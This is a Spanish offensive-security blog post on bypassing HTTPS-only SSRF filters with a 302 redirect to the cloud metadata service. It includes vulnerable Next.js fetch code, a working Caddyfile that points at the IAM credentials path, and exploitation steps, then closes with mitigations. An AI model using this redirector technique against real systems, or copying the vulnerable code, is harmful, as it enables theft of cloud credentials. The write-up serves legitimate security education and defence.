Todos los artículos
WEBOffensiveNext.jsPoC

Downgrading Trust: Bypass de Filtros SSRF HTTPS-Only con un 302 Found

Explorando downgrades de HTTPS a HTTP en Server-Side Request Forgeries para acceder a endpoints internos y Servicios de Metadatos en la Nube.

Hugo BareaHugo BareaOffensive Security EngineerNovember 3, 2026/7 min de lectura

TL;DR: Un filtro https://-only no es una mitigación de SSRF: bloquea esquemas peligrosos, pero no restringe el destino de la petición, que es de lo que va el SSRF. Y como la comprobación solo mira la URL inicial y no se vuelve a ejecutar tras una redirección, el atacante apunta esa primera petición a su propio endpoint HTTPS (que pasa el filtro sin problema), este responde con un 302 Found hacia un recurso interno http:// — como el servicio de metadatos en la nube (si IMDSv1 está habilitado) — y la petición aterriza en la red interna. Este post explica la técnica usando Caddy como servidor de redirección.

Este hallazgo se originó en un pentest autorizado. Fue reportado al cliente y ya ha sido remediado. El entorno, el código y los identificadores mostrados a continuación han sido reconstruidos desde cero para replicar la clase de vulnerabilidad en este artículo — nada corresponde directamente a la infraestructura del cliente original.


Filtros HTTPS-Only

Un razonamiento habitual del desarrollador — que suena a control de SSRF pero no lo es — tiene este aspecto:

Solo permitimos que la app haga peticiones a URLs que empiecen por https://, así que los servicios internos HTTP-only y los endpoints de metadatos están a salvo.

El problema es que mezcla dos cosas distintas. Un allowlist de esquemas (https://-only) sí es un control legítimo, pero contra el abuso de esquemas peligrosos. Lo que no controla es el destino de la petición, que es de lo que va realmente el SSRF — llegar a 169.254.169.254, a rangos privados o a localhost. Eso es trabajo de un allowlist de hosts/IP, no del esquema.

Y luego está el agujero que explota este post: la validación solo vale si se aplica en cada petición que el servidor termina realizando, no solo en la primera. Contra un filtro de solo-esquema esto es trivial — el endpoint HTTPS del propio atacante pasa la comprobación, y de ahí el 302 hace el resto. Un allowlist de hosts sube mucho el listón (el atacante ya no puede apuntar la primera petición a su redirector; necesitaría un open redirect en un host de confianza), pero tampoco lo cierra del todo. En ambos casos la regla es la misma: revalidar esquema, host e IP tras cada salto de redirección, no solo en la URL inicial.


La Cadena de Ataque

  1. El atacante controla un endpoint HTTPS público. Solo necesita un certificado válido y ser accesible desde el backend del objetivo — nada exótico, basta un VPS pequeño.
  2. La app es engañada para que solicite ese endpoint — a través de una URL de webhook, una función de "importar desde URL", un buscador de avatar/informe, cualquier cosa que reciba una URL proporcionada por el usuario en el lado del servidor.
  3. El filtro comprueba el esquema, ve https:// y lo aprueba.
  4. El servidor del atacante responde con un 302 Found, apuntando a un objetivo interno por HTTP plano — por ejemplo, el servicio de metadatos de la instancia en la nube.
  5. El cliente HTTP sigue la redirección automáticamente, la comprobación de esquema queda saltada, y la petición aterriza directamente en un endpoint interno.

Caddy

Caddy es una herramienta que permite levantar un servidor web rápidamente, especialmente cómoda para levantar el endpoint de redirección malicioso:

  • Cuenta con HTTPS automático de fábrica (puedes apuntar tu propio dominio y tener un certificado válido en minutos).
  • Las reglas de redirección son triviales de definir y cambiar sobre la marcha durante el engagement, solo hay que modificar el Caddyfile.

Mientras que Apache o Nginx requerirían una configuración más compleja, en su forma más básica Caddy se gestiona con un único archivo (/etc/caddy/Caddyfile), lo que hace que levantar un servidor redirector HTTPS sea extremadamente cómodo.

Funcionalmente, el redirector de Caddy actúa simplemente como el "salto" entre la petición HTTPS de apariencia confiable y el objetivo HTTP interno que el filtro se suponía que debía bloquear.


Cloud Metadata Services

Una vez que la redirección lleva la petición al interior, el objetivo más valioso en una app alojada en la nube suele ser el servicio de metadatos de la instancia — accesible solo desde dentro de la red del host/contenedor, e históricamente un endpoint accesible vía HTTP. Un impacto exitoso aquí puede filtrar credenciales IAM temporales, información del rol de la instancia, o user-data — a menudo suficiente para pivotar bastante más allá de la función vulnerable original.

No todos los entornos son igual de explotables de esta forma. IMDSv2 requiere un token obtenido mediante una petición PUT con una cabecera personalizada primero, y una simple redirección no puede completar ese handshake — así que esta técnica no funciona contra instancias exclusivamente IMDSv2. IMDSv1 debe estar habilitado para la filtración de metadatos específicamente; el truco de la redirección en sí funciona contra cualquier servicio HTTP interno, sea de metadatos o no.


Código Vulnerable (PoC)

El siguiente código se encuentra en un componente server dentro de la aplicación NextJS, lo que significa que se ejecuta en el lado del servidor.

js
export async function GET(request: NextRequest) {
  const url = request.nextUrl.searchParams.get('url')
  let parsedUrl: URL
  parsedUrl = new URL(url)
  // ...
  // Comprobación HTTPS
  if (!['https:'].includes(parsedUrl.protocol)) {
    return NextResponse.json(
      { error: 'Only HTTPS URLs are allowed' },
      { status: 400 },
    )
  }
  //...
  let upstream: Response
  try {
    upstream = await fetch(parsedUrl.toString(), { redirect: 'follow' }) /* la URL pasa prácticamente sin validar */
  } catch {
    return NextResponse.json(
      { error: 'Failed to fetch file' },
      { status: 502 },
    )
  }
  // ...
  const body = await upstream.arrayBuffer()
  // ...
  return new NextResponse(body, { status: 200, headers })
}

Explotación

  • Primero, hay que montar un VPS, así como registros DNS que apunten a él, para poder servir HTTPS.

  • Segundo, configurar Caddy con el siguiente Caddyfile (ubicado en /etc/caddy/Caddyfile)

yaml
sub.domain.com {
        log {
                output file /var/log/caddy/access.log
                format json
        }
        redir http://169.254.169.254/latest/meta-data/iam/security-credentials/ 302
}
  • Tras recargar, el servidor estará listo.
bash
sudo systemctl reload caddy
  • Después, simplemente hay que acceder al endpoint vulnerable y establecer el parámetro URL apuntando al redirector de Caddy. Si hay roles IAM asociados a la EC2, aparecerán en la respuesta.

Filtración de roles IAMFiltración de roles IAM

  • Al cambiar la URL en el Caddyfile a http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE> y recargar aparecen credenciales válidas.

Filtración de credenciales IAMFiltración de credenciales IAM

Impacto

  • Bypass de restricciones de protocolo (solo HTTPS), sin más interacción que el envío de una URL de apariencia normal.
  • Posible exposición de credenciales en la nube o de servicios internos, dependiendo de la ubicación en la red.

Mitigaciones

  • Implementar una allowlist de hosts si es viable.
  • Deshabilitar el seguimiento automático de redirecciones (redirect: 'manual').
  • Revalidar esquema, host e IP después de cada salto de redirección, no solo en la URL inicial.
  • Asegurar el uso de IMDSv2 para reducir el impacto de posibles vulnerabilidades SSRF.
  • Tratar cualquier funcionalidad de "obtener una URL" en el lado del servidor como una superficie de SSRF por defecto, sin importar cómo se filtre la entrada inicial.

Reflexiones Finales

Las comprobaciones de esquema parecen un control sólido hasta que recuerdas que un 302 es simplemente el servidor diciéndole a tu cliente que vaya a otro sitio. Si tus defensas contra SSRF dejan de validar después del primer salto, no son realmente defensas; son una formalidad que la redirección esquiva sin esfuerzo.